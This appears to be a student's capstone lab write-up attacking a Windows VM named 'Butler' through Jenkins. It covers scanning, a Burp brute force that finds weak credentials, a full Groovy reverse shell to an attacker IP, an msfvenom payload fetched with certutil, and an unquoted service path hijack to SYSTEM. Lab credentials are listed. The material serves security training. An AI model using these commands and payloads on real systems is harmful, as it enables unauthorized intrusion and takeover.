

Capstone - Butler

Capstone Links

[VMs](#)

[Dev.zip](#)

[Windows Priv Esc for Beginners](#)

[Linux Priv Esc for Beginners](#)

```
butler:JeNkIn5@44
administrator:A%rc!BcA!
```

Scanning

```
sudo nmap -sC -sV -T4 -vv --open 192.168.126.137
```

```
PORT      STATE SERVICE      REASON          VERSION
135/tcp    open  msrpc        syn-ack ttl 128 Microsoft Windows RPC
139/tcp    open  netbios-ssn  syn-ack ttl 128 Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds? syn-ack ttl 128
8080/tcp   open  http         syn-ack ttl 128 Jetty 9.4.41.v20210516
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-favicon: Unknown favicon MD5: 23E8C7BD78E8CD826C5A6073B15068B1
|_http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.41.v20210516)
MAC Address: 00:0C:29:88:81:98 (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-security-mode:
|   3:1:1:
|_   Message signing enabled but not required
|_ smb2-time:
|   date: 2023-11-22T18:41:46
|_   start_date: N/A
|_ nbstat: NetBIOS name: BUTLER, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:88:81:98 (VMware)
|_ Names:
|   BUTLER<20>          Flags: <unique><active>
|   BUTLER<00>          Flags: <unique><active>
|   WORKGROUP<00>       Flags: <group><active>
|_ Statistics:
|   00:0c:29:88:81:98:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 40210/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 17846/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 33370/udp): CLEAN (Timeout)
|   Check 4 (port 21177/udp): CLEAN (Failed to receive data)
|_   0/4 checks are positive: Host is CLEAN or ports are blocked
|_ _clock-skew: 1h59m58s
```

Website:

192.168.126.137:8080/login?from=%2F



Welcome to Jenkins!

Sign in

☐ Keep me signed in

Attacking Jenkin on HackTricks

```
msf6 auxiliary(scanner/http/jenkins_enum) > options
Module options (auxiliary/scanner/http/jenkins_enum):

  Name      Current Setting  Required  Description
  --      -
Proxies          no          A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS          yes          The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT           80           The target port (TCP)
SSL             false        Negotiate SSL/TLS for outgoing connections
TARGETURI       /jenkins/    The path to the Jenkins-CI application
THREADS         1           The number of concurrent threads (max one per host)
VHOST           no          HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/jenkins_enum) > set rhosts 192.168.126.137
rhosts => 192.168.126.137
msf6 auxiliary(scanner/http/jenkins_enum) > set rport 8080
rport => 8080
msf6 auxiliary(scanner/http/jenkins_enum) > run

[*] 192.168.126.137:8080 - Jenkins Version 2.289.3
[*] /jenkins/script restricted (403)
[*] /jenkins/view/All/newJob restricted (403)
[*] /jenkins/asynchPeople/ restricted (403)
[*] /jenkins/systemInfo restricted (403)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```

msf6 auxiliary(scanner/http/jenkins_enum) > use auxiliary/scanner/http/jenkins_command
msf6 auxiliary(scanner/http/jenkins_command) > options

Module options (auxiliary/scanner/http/jenkins_command):

  Name      Current Setting  Required  Description
  --      -
  COMMAND   whoami           yes       Command to run in application
  Proxies                    no       A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                     yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      80              yes      The target port (TCP)
  SSL        false           no       Negotiate SSL/TLS for outgoing connections
  TARGETURI  /jenkins/       yes      The path to the Jenkins-CI application
  THREADS    1              yes      The number of concurrent threads (max one per host)
  VHOST                      no       HTTP server virtual host

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/jenkins_command) > set rhost 192.168.126.137
rhost => 192.168.126.137
msf6 auxiliary(scanner/http/jenkins_command) > set rport 8080
rport => 8080
msf6 auxiliary(scanner/http/jenkins_command) > run

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/jenkins_command) >

```

Most need authentication to run most RCE. Default creds do not work.

Using Burp

I'm using Burps Browser, then attempting to login with default password. Send the signin attempt to Intruder and Repeater.

Host	Method	URL	Params	Status code	Length	MIME type	Title	Comment
http://192.168.126.137:8080	GET	/login?from=%2F	✓	200	2812	HTML	Sign in [Jenkins]	
http://192.168.126.137:8080	GET	/static/5754b5fe/images/...		200	16556	text		
http://192.168.126.137:8080	POST	/j_spring_security_check	✓	302	318			
http://192.168.126.137:8080	GET	/j_spring_security_check						
http://192.168.126.137:8080	GET	/login						
http://192.168.126.137:8080	GET	/static/5754b5fe						
http://192.168.126.137:8080	GET	/static/5754b5fe/images						

Request		Response	
Pretty	Raw	Pretty	Raw
<pre> 1 POST /j_spring_security_check HTTP/1.1 2 Host: 192.168.126.137:8080 3 Content-Length: 60 4 Cache-Control: max-age=0 5 Upgrade-Insecure-Requests: 1 6 Origin: http://192.168.126.137:8080 7 Content-Type: application/x-www-form-urlencoded 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image /avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex change;v=b3;q=0.7 10 Referer: http://192.168.126.137:8080/login?from=%2F 11 Accept-Encoding: gzip, deflate 12 Accept-Language: en-US,en;q=0.9 13 Cookie: JSESSIONID.0089c268= node0qqnzc66792upztfbequpi8jk37.node0 14 Connection: close 15 16 j_username=admin&j_password=password&from=%2F&Submit= Sign+in </pre>		<pre> 1 HTTP/1.1 302 Found 2 Connection: close 3 Date: Wed, 22 Nov 2023 16:52:19 GMT 4 X-Content-Type-Options: nosniff 5 Set-Cookie: remember-me; Path=/; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0 6 Expires: Thu, 01 Jan 1970 00:00:00 GMT 7 Location: http://192.168.126.137:8080/loginError 8 Server: Jetty(9.4.41.v20210516) 9 10 </pre>	

Using Intruder, "Add" on the username/password of admin/password.

Dashboard Target Proxy **Intruder** Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn Settings

1 x 2 x +

Positions Payloads Resource pool Settings

Choose an attack type Start attack

Attack type: Sniper

Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base request.

Target: ☒ Update Host header to match target

1 POST /j_spring_security_check HTTP/1.1
2 Host: 192.168.126.137:8080
3 Content-Length: 60
4 Cache-Control: max-age=0
5 Upgrade-Insecure-Requests: 1
6 Origin: http://192.168.126.137:8080
7 Content-Type: application/x-www-form-urlencoded
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.126.137:8080/login?from=%2F
11 Accept-Encoding: gzip, deflate
12 Accept-Language: en-US,en;q=0.9
13 Cookie: JSESSIONID.0089c268=node0qqnzc66792upztffbequpi8jk37.node0
14 Connection: close
15
16 j_username=\$admin\$&j_password=\$passwords&from=%2F&Submit=Sign+in

Add \$ Clear \$ Auto \$ Refresh

Using the Clusterbomb attack since we don't know user or password.

Select the users or user list under payload set 1

DashboardTargetProxyIntruderRepeaterCollaboratorSequencerDecoderComparer

1 ×2 ×+

PositionsPayloadsResource poolSettings

?

Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Vari

Payload set:1

Payload count: 3

Payload type:Simple list

Request count: 15

?

Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Load ...

Remove

Clear

Deduplicate

Add

Add from list ... [Pro version only]

admin

administrator

jenkins

Enter a new item

?

Payload processing

You can define rules to perform various processing tasks on each payload before it is used.

Add

Edit

Remove

Up

Down

Enabled

Rule

?

Payload encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

☒ URL-encode these characters:

.\=\<>?+&*;"'{}|^`#

Set the passwords under payload set 2

The screenshot shows the Burp Suite interface with the 'Intruder' tab selected. The 'Payloads' sub-tab is active, displaying the 'Payload sets' configuration. A red box highlights the 'Payload set: 2' dropdown, 'Payload count: 5', 'Payload type: Simple list', and 'Request count: 15'. Below this, another red box highlights the 'Payload settings [Simple list]' section, which includes a list of payloads: 'password', 'Password', 'jenkins', 'Jenkins', and 'Password1'. To the left of the list are buttons for 'Paste', 'Load ...', 'Remove', 'Clear', and 'Deduplicate'. Below the list are buttons for 'Add' and 'Add from list ... [Pro version only]'. The 'Add' button is next to a text input field containing 'Enter a new item'. Below the 'Payload settings' section is the 'Payload processing' section, which includes a table with a 'Rule' column and buttons for 'Add', 'Edit', 'Remove', 'Up', and 'Down'. At the bottom is the 'Payload encoding' section, which includes a checkbox for 'URL-encode these characters:' and a text input field containing '.\/= < > ? + & * ; , " { } | ^ ` # '.

Dashboard Target Proxy **Intruder** Repeater Collaborator Sequencer Decoder Comparer

1 x 2 x +

Positions **Payloads** Resource pool Settings

Payload sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various

Payload set: 2 Payload count: 5

Payload type: Simple list Request count: 15

Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste password

Load ... Password

Remove jenkins

Clear Jenkins

Deduplicate Password1

Add Enter a new item

Add from list ... [Pro version only]

Payload processing

You can define rules to perform various processing tasks on each payload before it is used.

Add ... Rule

Edit

Remove

Up

Down

Payload encoding

This setting can be used to URL-encode selected characters within the final payload, for safe transmission within HTTP requests.

☒ URL-encode these characters: .\/= < > ? + & * ; , " { } | ^ ` # '

Status codes don't change BUT the length changes just slightly, then is different through out

Request ^	Payload 1	Payload 2	Status code	Error	Timeout	Length	Comment
0			302	<input type="checkbox"/>	<input type="checkbox"/>	318	
1	admin	password	302	<input type="checkbox"/>	<input type="checkbox"/>	318	
2	administrator	password	302	<input type="checkbox"/>	<input type="checkbox"/>	318	
3	jenkins	password	302	<input type="checkbox"/>	<input type="checkbox"/>	318	
4	admin	Password	302	<input type="checkbox"/>	<input type="checkbox"/>	318	
5	administrator	Password	302	<input type="checkbox"/>	<input type="checkbox"/>	318	
6	jenkins	Password	302	<input type="checkbox"/>	<input type="checkbox"/>	318	
7	admin	jenkins	302	<input type="checkbox"/>	<input type="checkbox"/>	318	
8	administrator	jenkins	302	<input type="checkbox"/>	<input type="checkbox"/>	318	
9	jenkins	jenkins	302	<input type="checkbox"/>	<input type="checkbox"/>	315	
10	admin	Jenkins	302	<input type="checkbox"/>	<input type="checkbox"/>	409	
11	administrator	Jenkins	302	<input type="checkbox"/>	<input type="checkbox"/>	407	
12	jenkins	Jenkins	302	<input type="checkbox"/>	<input type="checkbox"/>	408	
13	admin	Password1	302	<input type="checkbox"/>	<input type="checkbox"/>	408	
14	administrator	Password1	302	<input type="checkbox"/>	<input type="checkbox"/>	408	
15	jenkins	Password1	302	<input type="checkbox"/>	<input type="checkbox"/>	408	

Request

Response

Pretty

Raw

Hex

1 POST /j_spring_security_check HTTP/1.1

2 Host: 192.168.126.137:8080

3 Content-Length: 61

4 Cache-Control: max-age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://192.168.126.137:8080

7 Content-Type: application/x-www-form-urlencoded

8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

10 Referer: http://192.168.126.137:8080/login?from=%2F

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9

13 Cookie: JSESSIONID.0089c268=node0qqnzc66792upztfbequpi8jk37.node0

14 Connection: keep-alive

15

16 j_username=jenkins&j_password=jenkins&from=%2F&Submit=Sign+in

Look at the response differences, we see the Set-Cookie changes

8	administrator	jenkins	302	<input type="checkbox"/>	<input type="checkbox"/>	318	
9	jenkins	jenkins	302	<input type="checkbox"/>	<input type="checkbox"/>	315	

Request

Response

Pretty

Raw

Hex

Render

1 HTTP/1.1 302 Found

2 Date: Wed, 22 Nov 2023 16:59:09 GMT

3 X-Content-Type-Options: nosniff

4 Set-Cookie: remember-me=; Path=/; Expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0

5 Expires: Thu, 01 Jan 1970 00:00:00 GMT

6 Location: http://192.168.126.137:8080/loginError

7 Content-Length: 0

8 Server: Jetty(9.4.41.v20210516)

9

10

Request

Response

Pretty

Raw

Hex

Render

1 HTTP/1.1 302 Found

2 Date: Wed, 22 Nov 2023 16:59:09 GMT

3 X-Content-Type-Options: nosniff

4 Set-Cookie: JSESSIONID.0089c268=node01l71zu9tniuov1t4l7th8buj6138.node0; Path=/; HttpOnly

5 Expires: Thu, 01 Jan 1970 00:00:00 GMT

6 Location: http://192.168.126.137:8080/

7 Content-Length: 0

8 Server: Jetty(9.4.41.v20210516)

9

10

This indicates jenkins jenkins was able to successfully login

192.168.126.137:8080/loginError



Welcome to Jenkins!

Invalid username or password

Sign in

☐

Keep me signed in

← → ↻ 🏠 192.168.126.137:8080 ☆ 📄 ☰

Kali Bookmarks

Jenkins

🔍 search ⓘ 🔔 3 🛡️ 1 👤 jenkins 🚪 log out

Dashboard ▶

📁 New Item

👤 People

📋 Build History

⚙️ Manage Jenkins

👁️ My Views

🖨️ Lockable Resources

📁 New View

Build Queue ^

No builds in the queue.

Build Executor Status ^

1 Idle

2 Idle

add description

Welcome to Jenkins!

This page is where your Jenkins jobs will be displayed. To get started, you can set up distributed builds or start building a software project.

Start building your software project

Create a job →

Set up a distributed build

Set up an agent →

Configure a cloud →

Learn more about distributed builds ↗

REST API Jenkins 2.289.3

Looking through the 'Manage Jenkins' section and looking around at the CLI or Script Console, the Script Console shows it run in Groovy



Script Console

Type in an arbitrary [Groovy script](#) and execute it on the server. Useful for trouble-shooting and diagnostics. Use the 'println' command to see the output (if you use `System.out`, it will go to the server's stdout, which is harder to see.) Example:

```
println(Jenkins.instance.pluginManager.plugins)
```

All the classes from all the plugins are visible. `jenkins.*`, `jenkins.model.*`, `hudson.*`, and `hudson.model.*` are pre-imported.

1

Run

Looking for Groovy Reverse Shells, there's a [github article](#)



Script Console

Type in an arbitrary [Groovy script](#) and execute it on the server. Useful for trouble-shooting and diagnostics. Use the 'println' command to see the output (if you use System.out, it will go to the server's stdout, which is harder to see.) Example:

```
println(Jenkins.instance.pluginManager.plugins)
```

All the classes from all the plugins are visible. jenkins.*, jenkins.model.*, hudson.*, and hudson.model.* are pre-imported.

```
1 String host="localhost";
2 int port=8044;
3 String cmd="cmd.exe";
4 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);Input
```

Run

```
String host="192.168.126.129";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket
s=new Socket(host,port);InputStream
pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(
pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();
Thread.sleep(50);try {p.exitValue();break;}catch (Exception e)
{}};p.destroy();s.close();
```

Looking at this code, it's using cmd.exe to run the reverse shell, using the port of 8044. So start netcat on that port, then change the localhost to your IP, then run it.

```
(root@kali)-[~]
# nc -lvnp 8044
listening on [any] 8044 ...
```

```
1 String host="192.168.126.129";
2 int port=8044;
3 String cmd="cmd.exe";
4 Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);Input
```

```

(root@kali)-[~]
# nc -lvp 8044
listening on [any] 8044 ...
connect to [192.168.126.129] from (UNKNOWN) [192.168.126.137] 50734
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\Jenkins>
C:\Program Files\Jenkins>whoami
whoami
butler\butler

C:\Program Files\Jenkins>hostname
hostname
Butler

C:\Program Files\Jenkins>

```

Priv Esc

```

C:\Program Files\Jenkins>systeminfo
systeminfo

Host Name:                BUTLER
OS Name:                  Microsoft Windows 10 Enterprise Evaluation
OS Version:               10.0.19043 N/A Build 19043
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Workstation
OS Build Type:             Multiprocessor Free
Registered Owner:         butler
Registered Organization:
Product ID:                00329-20000-00001-AA079
Original Install Date:     8/14/2021, 3:51:38 AM
System Boot Time:          11/22/2023, 10:38:48 AM
System Manufacturer:      VMware, Inc.
System Model:              VMware7,1
System Type:               x64-based PC
Processor(s):              2 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 167 Stepping 1 GenuineIntel ~3504 Mhz
                           [02]: Intel64 Family 6 Model 167 Stepping 1 GenuineIntel ~3504 Mhz
BIOS Version:              VMware, Inc. VMW71.00V.18452719.B64.2108091906, 8/9/2021
Windows Directory:        C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-08:00) Pacific Time (US & Canada)
Total Physical Memory:     2,047 MB
Available Physical Memory: 1,408 MB
Virtual Memory: Max Size:  3,199 MB
Virtual Memory: Available: 1,730 MB
Virtual Memory: In Use:    1,469 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 4 Hotfix(s) Installed.
                           [01]: KB4601554
                           [02]: KB5000736
                           [03]: KB5001330
                           [04]: KB5001405
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
                               Connection Name: Ethernet0
                               DHCP Enabled:    Yes
                               DHCP Server:     192.168.126.254
                               IP address(es)
                               [01]: 192.168.126.137
                               [02]: fe80::69f3:7621:e193:7e41
Hyper-V Requirements:      A hypervisor has been detected. Features required for Hyper-V will not be displayed.

C:\Program Files\Jenkins>

```

```
(root@kali)-[/usr/share/peass/winpeas]
# ls
winPEASany.exe winPEASany_ofs.exe winPEAS.bat winPEASx64.exe winPEASx64_ofs.exe winPEASx86.exe winPEASx86_ofs.exe

(root@kali)-[/usr/share/peass/winpeas]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

```
WiseBootAssistant(WiseCleaner.com - Wise Boot Assistant)[C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exe] - Auto - Running - No quotes and Space detected
YOU CAN MODIFY THIS SERVICE: AllAccess
File Permissions: Administrators [AllAccess]
Possible DLL Hijacking in binary folder: C:\Program Files (x86)\Wise\Wise Care 365 (Administrators [AllAccess])
In order to optimize system performance,Wise Care 365 will calculate your system startup time.
```

We look at this because there's no quotes and there's spaces, and everyone can access it. It's in a path that has no quotes and the path has spaces. When Windows runs this, it will look at everything before the first space and add a .exe, Eg. C:\Program.exe, C:\Program Files.exe, etc.

So we can make a .exe and place it anywhere in here. Eg wise.exe

Using MSFVenom for the manual way or making the payload instead of msfconsole.

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.126.129 LPORT=8008 -f exe -o wise.exe
```

```
(root@kali)-[~]
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.126.129 LPORT=8008 -f exe -o wise.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes
Saved as: wise.exe

(root@kali)-[~]
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Get into the Wise directory and get this onto host

```
certutil.exe -urlcache -f http://192.168.126.129/wise.exe wise.exe
```

```
c:\Program Files (x86)\Wise>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1067-CB24

Directory of c:\Program Files (x86)\Wise

08/14/2021  05:28 AM    <DIR>          .
08/14/2021  05:28 AM    <DIR>          ..
08/14/2021  04:34 AM    <DIR>          Wise Care 365
               0 File(s)                0 bytes
               3 Dir(s)  11,970,871,296 bytes free

c:\Program Files (x86)\Wise>certutil.exe -urlcache -f http://192.168.126.129/wise.exe wise.exe
certutil.exe -urlcache -f http://192.168.126.129/wise.exe wise.exe
**** Online ****
CertUtil: -URLCache command completed successfully.

c:\Program Files (x86)\Wise>dir
dir
Volume in drive C has no label.
Volume Serial Number is 1067-CB24

Directory of c:\Program Files (x86)\Wise

11/22/2023  09:45 AM    <DIR>          .
11/22/2023  09:45 AM    <DIR>          ..
08/14/2021  04:34 AM    <DIR>          Wise Care 365
11/22/2023  09:45 AM                7,168 wise.exe
               1 File(s)                7,168 bytes
               3 Dir(s)  11,982,245,888 bytes free

c:\Program Files (x86)\Wise>
```

Start the netcat with the port we show when making the payload

```
(root@kali)-[~]  
# nc -lvnp 8008  
listening on [any] 8008 ...  
█
```

BEFORE we run wise.exe we need to stop the WiseBootAssistant

```
c:\Program Files (x86)\Wise>sc stop WiseBootAssistant  
sc stop WiseBootAssistant  
  
SERVICE_NAME: WiseBootAssistant  
        TYPE               : 110   WIN32_OWN_PROCESS   (interactive)  
        STATE                : 3     STOP_PENDING  
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)  
        WIN32_EXIT_CODE       : 0     (0x0)  
        SERVICE_EXIT_CODE    : 0     (0x0)  
        CHECKPOINT           : 0x3  
        WAIT_HINT            : 0x1388  
  
c:\Program Files (x86)\Wise>sc query WiseBootAssistant  
sc query WiseBootAssistant  
  
SERVICE_NAME: WiseBootAssistant  
        TYPE               : 110   WIN32_OWN_PROCESS   (interactive)  
        STATE                : 1     STOPPED  
        WIN32_EXIT_CODE       : 0     (0x0)  
        SERVICE_EXIT_CODE    : 0     (0x0)  
        CHECKPOINT           : 0x0  
        WAIT_HINT            : 0x0  
  
c:\Program Files (x86)\Wise>█
```

Now start it, and it will run as Admin(SYSTEM)

```
c:\Program Files (x86)\Wise>sc start WiseBootAssistant  
sc start WiseBootAssistant  
█  
  
(root@kali)-[~]  
# nc -lvnp 8008  
listening on [any] 8008 ...  
connect to [192.168.126.129] from (UNKNOWN) [192.168.126.137] 49876  
Microsoft Windows [Version 10.0.19043.928]  
(c) Microsoft Corporation. All rights reserved.  
  
C:\Windows\system32>whoami  
whoami  
nt authority\system  
  
C:\Windows\system32>█
```